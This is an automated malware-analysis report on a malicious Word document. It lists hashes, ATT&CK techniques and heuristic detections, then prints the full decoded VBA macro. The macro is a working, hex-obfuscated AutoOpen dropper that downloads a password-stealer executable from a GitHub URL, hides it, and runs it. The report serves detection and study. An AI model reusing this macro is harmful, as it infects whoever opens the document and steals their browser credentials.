Office (OLE) malware analysis — malicious · 37fa6648bb401a27

MALICIOUS

Office (OLE)

31.0 KB Created: 2018-02-05 09:52:00 Authoring application: Microsoft Office Word First seen: 2018-02-19

MD5: d184f8c23a3794f361c77cfa2f1732cd SHA-1: a86a20968ae3f0837f6ee33d766f5465b04bf4b7 SHA-256: 37fa6648bb401a2708dfc6cd976e39c85078703539f80a0c3f06ab2a8c01a253

312 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains an AutoOpen VBA macro that is obfuscated and uses CreateObject to download a file from 'the embedded link' and save it as 'xx.exe'. The downloaded executable is then run, indicating an intent to execute a second-stage payload. The ClamAV detection and multiple critical heuristics confirm the malicious nature of the document.

Heuristics 10

ClamAV: Doc.Malware.Valyria-6923224-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Valyria-6923224-0
VBA macros detected medium 5 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
cbhvpudvml.Write iagvjrrxydkc.ResponseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
Set iagvjrrxydkc = CreateObject(dlidezmvlngm("4d") & dlidezmvlngm("53584d4c322e536572766572584d4c485454502e362e30"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

Set iagvjrrxydkc = CreateObject(dlidezmvlngm("4d") & dlidezmvlngm("53584d4c322e536572766572584d4c485454502e362e30"))

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	2080 bytes
SHA-256: `18ca804546eda6e6e0c06fc27e58e79e72561cdf512896493b2e73d684c22d76`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const rlzcylymxi = 2 Const tlxvviqgpk = 1 Const xdhjmobgmi = 0 Private Sub jevyzxkyqfdfy() Dim tequsavuahayd As String Dim njvyuemlkmmkhd As String Dim iagvjrrxydkc As Object, cbhvpudvml As Object Dim jtnhldwzsrrvgexjhf As Integer tequsavuahayd = dlidezmvlngm("68747470733a2f2f7261772e6769746875") & dlidezmvlngm("6275736572636f6e74656e742e636f6d2f747265736163746f6e2f50617373776f7264537465616c65722f6d61737465722f4368726f6d65506173732e657865") njvyuemlkmmkhd = dlidezmvlngm("7878782e6578") & dlidezmvlngm("65") If Dir(njvyuemlkmmkhd, vbHidden + vbSystem) = "" Then Set iagvjrrxydkc = CreateObject(dlidezmvlngm("4d") & dlidezmvlngm("53584d4c322e536572766572584d4c485454502e362e30")) iagvjrrxydkc.setOption(2) = 13056 iagvjrrxydkc.Open dlidezmvlngm("474554"), tequsavuahayd, False iagvjrrxydkc.setRequestHeader dlidezmvlngm("557365722d4167") & dlidezmvlngm("656e74"), dlidezmvlngm("4d6f7a696c6c612f342e302028636f6d70") & dlidezmvlngm("617469626c653b204d53494520362e303b2057696e646f7773204e5420352e3029") iagvjrrxydkc.Send If iagvjrrxydkc.Status = 200 Then Set cbhvpudvml = CreateObject(dlidezmvlngm("41444f44422e") & dlidezmvlngm("53747265616d")) cbhvpudvml.Open cbhvpudvml.Type = 1 cbhvpudvml.Write iagvjrrxydkc.ResponseBody cbhvpudvml.SaveToFile njvyuemlkmmkhd, 2 cbhvpudvml.Close SetAttr njvyuemlkmmkhd, vbReadOnly + vbHidden + vbSystem CreateObject(dlidezmvlngm("575363726970742e") & dlidezmvlngm("5368656c6c")).Run njvyuemlkmmkhd, 0 End If End If End Sub Sub AutoOpen() jevyzxkyqfdfy End Sub Private Function dlidezmvlngm(ByVal apqwgmrilqiy As String) As String Dim ppgmxefwliaw As Long For ppgmxefwliaw = 1 To Len(apqwgmrilqiy) Step 2 dlidezmvlngm = dlidezmvlngm & Chr$(Val("&H" & Mid$(apqwgmrilqiy, ppgmxefwliaw, 2))) Next ppgmxefwliaw End Function

Open this report in the interactive analyzer, or submit your own file for analysis.